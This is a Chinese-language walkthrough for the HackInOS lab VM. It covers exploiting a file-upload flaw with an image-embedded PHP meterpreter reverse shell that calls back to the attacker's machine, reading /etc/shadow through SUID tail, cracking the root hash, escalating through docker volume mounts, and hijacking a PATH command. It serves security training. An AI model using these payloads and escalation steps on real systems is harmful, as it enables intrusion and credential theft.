HackInOS

簡介

HackinOS是一個滲透靶機,模擬真實的滲透環境,方便我們練習滲透方法,靶機下載地址
攻擊者:kali
受害者:HackInOS

滲透步驟

1.獲取目標機器ip

因爲我的靶機在虛擬機中網絡用的NAT模式,所以靶機IP肯定和kali在同一個網絡下,先利用nmap來掃描一波:
在這裏插入圖片描述
在這裏插入圖片描述
很明顯,我們找到了目標機器的ip:192.168.88.133,並且發現開啓了22和8000端口,在8000端口下面是一個http服務,而且有一個upload.php文件,猜測這裏有一個上傳文件漏洞…

2.利用文件上傳漏洞

訪問這個地址,確實發現有文件上傳的功能:
在這裏插入圖片描述
然後我們右鍵查看源碼,發現了一個hint:
在這裏插入圖片描述
給了我們一個guthub的連接,我們訪問發現:

<!DOCTYPE html>
<html>

<body>

<div align="center">
<form action="" method="post" enctype="multipart/form-data">
    <br>
    <b>Select image : </b> 
    <input type="file" name="file" id="file" style="border: solid;">
    <input type="submit" value="Submit" name="submit">
</form>
</div>
<?php
// Check if image file is a actual image or fake image
if(isset($_POST["submit"])) {
	$rand_number = rand(1,100);
	$target_dir = "uploads/";
	$target_file = $target_dir . md5(basename($_FILES["file"]["name"].$rand_number));
	$file_name = $target_dir . basename($_FILES["file"]["name"]);
	$uploadOk = 1;
	$imageFileType = strtolower(pathinfo($file_name,PATHINFO_EXTENSION));
	$type = $_FILES["file"]["type"];
	$check = getimagesize($_FILES["file"]["tmp_name"]);
	if($check["mime"] == "image/png" || $check["mime"] == "image/gif"){
		$uploadOk = 1;
	}else{
		$uploadOk = 0;
		echo ":)";
	} 
  if($uploadOk == 1){
      move_uploaded_file($_FILES["file"]["tmp_name"], $target_file.".".$imageFileType);
      echo "File uploaded /uploads/?";
  }
}
?>

</body>
</html>

給了我們上傳文件的源碼,通過審查我們發現,只允許上傳PNG或GIF格式的圖片,校驗方式是校驗文件內容(實際校驗的是文件開頭幾個標誌文件類型的字節,PNG格式爲0x890x500x4E0x470x0D0x0A0x1A0x0A,GIF格式爲GIF98),沒有校驗文件後綴;然後通過校驗的文件會保存在uploads目錄中,但是文件名是一個隨機生成的md5值,而後綴保持上傳文件的後綴不變…
所以我們可以先做一個圖片馬,主要是反彈shell的馬,我們利用Metasploit來生成:

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.88.130 lport=4444 -f raw

在這裏插入圖片描述
把生成的payload:

/*<?php /**/ error_reporting(0); $ip = '192.168.88.130'; $port = 4444; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();

保存在hack.php中,然後隨便找一個png圖片,將hack.php添加到圖片中去,然後將png圖片後綴改爲php:

cat hack.php >> best.png
mv best.png sir.php

然後我們可以寫一個python腳本來幫助我們找到並訪問我們上傳的木馬:

import hashlib
import requests
for i in range(101):
    file_name = hashlib.md5('sir.php'+str(i)).hexdigest()
    r = requests.get('http://192.168.88.133:8000/uploads/{}.php'.format(file_name))

然後我們設置好我們的msfconsole,等待反彈shell的連接:

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.88.130
lhost => 192.168.88.130
msf5 exploit(multi/handler) > exploit

在這裏插入圖片描述
然後我們就可以去網站上去上傳木馬,然後運行python腳本,然後看到我們已經獲得了一個shell:
在這裏插入圖片描述
但是我們的權限很低…

提權1

我們在Web目錄中找到Wordpress的配置文件wp-config.php,看到了數據庫連接信息:

<?php
/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the
 * installation. You don't have to use the web site, you can
 * copy this file to "wp-config.php" and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * MySQL settings
 * * Secret keys
 * * Database table prefix
 * * ABSPATH
 *
 * @link https://codex.wordpress.org/Editing_wp-config.php
 *
 * @package WordPress
 */

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');

/** MySQL database username */
define('DB_USER', 'wordpress');

/** MySQL database password */
define('DB_PASSWORD', 'wordpress');

/** MySQL hostname */
define('DB_HOST', 'db:3306');

/** Database Charset to use in creating database tables. */
define('DB_CHARSET', 'utf8');

/** The Database Collate type. Don't change this if in doubt. */
define('DB_COLLATE', '');

/**#@+
 * Authentication Unique Keys and Salts.
 *
 * Change these to different unique phrases!
 * You can generate these using the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}
 * You can change these at any point in time to invalidate all existing cookies. This will force all users to have to log in again.
 *
 * @since 2.6.0
 */
define('AUTH_KEY',         'b68c5e8cad4c8f8367efe2db89d7865e894d037d');
define('SECURE_AUTH_KEY',  'a7b32014b1898077ebe554d7284482aebeac92ae');
define('LOGGED_IN_KEY',    'e8b6f6b9b86e78127b8bfce51ed90151335d0140');
define('NONCE_KEY',        '39f17a336c6000ca5d7929be883be09131dc31e1');
define('AUTH_SALT',        'dbf7b92510a931b835a8b82eec8fd1adbaad487f');
define('SECURE_AUTH_SALT', '632f4f59a75363a72b7b526d8b69718fc89a5c07');
define('LOGGED_IN_SALT',   '614056ec3ba0011dcdb83422b44238045627750e');
define('NONCE_SALT',       '48e539381259ccc664202943d14359572f23638b');

/**#@-*/

/**
 * WordPress Database Table prefix.
 *
 * You can have multiple installations in one database if you give each
 * a unique prefix. Only numbers, letters, and underscores please!
 */
$table_prefix  = 'wp_';

/**
 * For developers: WordPress debugging mode.
 *
 * Change this to true to enable the display of notices during development.
 * It is strongly recommended that plugin and theme developers use WP_DEBUG
 * in their development environments.
 *
 * For information on other constants that can be used for debugging,
 * visit the Codex.
 *
 * @link https://codex.wordpress.org/Debugging_in_WordPress
 */
define('WP_DEBUG', false);

// If we're behind a proxy server and using HTTPS, we need to alert Wordpress of that fact
// see also http://codex.wordpress.org/Administration_Over_SSL#Using_a_Reverse_Proxy
if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https') {
	$_SERVER['HTTPS'] = 'on';
}

/* That's all, stop editing! Happy blogging. */

/** Absolute path to the WordPress directory. */
if ( !defined('ABSPATH') )
	define('ABSPATH', dirname(__FILE__) . '/');

/** Sets up WordPress vars and included files. */
require_once(ABSPATH . 'wp-settings.php');

然後我們上傳一個Linux提權信息收集腳本linuxprivchecker.py:
在這裏插入圖片描述
然後運行這個腳本:

meterpreter > chmod 744 /tmp/linuxprivchecker.py
meterpreter > shell
Process 141 created.
Channel 10 created.
python /tmp/linuxprivchecker.py

在這裏插入圖片描述
仔細閱讀腳本輸出的內容,我們發現到tail被設置了SUID:
在這裏插入圖片描述
直接用tail讀取shadow文件:

meterpreter > shell
Process 344 created.
Channel 3 created.
tail -c1G /etc/shadow
root:$6$qoj6/JJi$FQe/BZlfZV9VX8m0i25Suih5vi1S//OVNpd.PvEVYcL1bWSrF3XTVTF91n60yUuUMUcP65EgT8HfjLyjGHova/:17951:0:99999:7:::
daemon:*:17931:0:99999:7:::
bin:*:17931:0:99999:7:::
sys:*:17931:0:99999:7:::
sync:*:17931:0:99999:7:::
games:*:17931:0:99999:7:::
man:*:17931:0:99999:7:::
lp:*:17931:0:99999:7:::
mail:*:17931:0:99999:7:::
news:*:17931:0:99999:7:::
uucp:*:17931:0:99999:7:::
proxy:*:17931:0:99999:7:::
www-data:*:17931:0:99999:7:::
backup:*:17931:0:99999:7:::
list:*:17931:0:99999:7:::
irc:*:17931:0:99999:7:::
gnats:*:17931:0:99999:7:::
nobody:*:17931:0:99999:7:::
_apt:*:17931:0:99999:7:::

在這裏插入圖片描述
這裏得到了root用戶密碼的hash值,我們先把hash值保存到文件root.hash中,然後利用hashcat破解它:

root@kali:~# hashcat -w 3 -a 0 -m 1800 -o root.out root.hash /usr/share/metasploit-framework/data/wordlists/common_roots.txt --force

得到密碼:john

root@kali:~# cat root.out 
$6$qoj6/JJi$FQe/BZlfZV9VX8m0i25Suih5vi1S//OVNpd.PvEVYcL1bWSrF3XTVTF91n60yUuUMUcP65EgT8HfjLyjGHova/:john

於是我們su root,但是發現:

su root
su: must be run from a terminal

所以我們用python僞造一個終端,然後來su root:

python -c "import pty;pty.spawn('/bin/bash');"

在這裏插入圖片描述
然後拿到了flag:

root@1afdd1f6b82c:/var/www/html# cd
cd
root@1afdd1f6b82c:~# ls
ls
flag
root@1afdd1f6b82c:~# cat flag
cat flag
Life consists of details.. 

橫向滲透

很明顯這不是真正的flag,我們剛纔還得到了一個數據庫密碼,所以我們登錄看看:
在這裏插入圖片描述
我們這裏發現一個用戶名和密碼,之前掃描端口是發現一個22端口,所以這個可能是ssh的登錄信息,這個密碼md5解密出來後是123456;
我們登錄試試:
在這裏插入圖片描述
登錄成功,但是我們發現權限還是低,所以這裏又要提權…

提取2

我們看這個用戶名特別像在docker裏面,查看一下:

hummingbirdscyber@vulnvm:~$ id
uid=1000(hummingbirdscyber) gid=1000(hummingbirdscyber) groups=1000(hummingbirdscyber),4(adm),24(cdrom),30(dip),46(plugdev),113(lpadmin),128(sambashare),129(docker)

確實是,因爲docker權限就能讀到/root中的文件了,所以可以利用docker run的-v參數,將/root掛載到容器中:

docker run -it -v /root:/root ubuntu:latest /bin/bash

成功獲得flag:
在這裏插入圖片描述

命令劫持

其實最後一個提取,我們還可以利用命令劫持的方法,因爲我們發現在目標機器的desktop上面有一個程序,運行之後會輸出root字樣,然後用strings命令還看到了whoami字樣:
在這裏插入圖片描述
所以,我們猜測這個程序是root權限並且程序裏面掉用了system(“whoami”)命令,所以我們可以把想辦法把whoami這個命令在機器上替換爲system("/bin/bash"),利用pwn的思想來提取;
查找一下PATH的位置:
在這裏插入圖片描述
現在命令劫持就非常方便了;
whoami.c:

#include <stdlib.h>
int main(void) {
    system("/bin/bash");
    return 0;
}

然後我們編譯它得到可執行文件whoami,然後在創建一個bin文件夾,將whoami放進去:
在這裏插入圖片描述
最後運行a.out程序即可提取:
在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章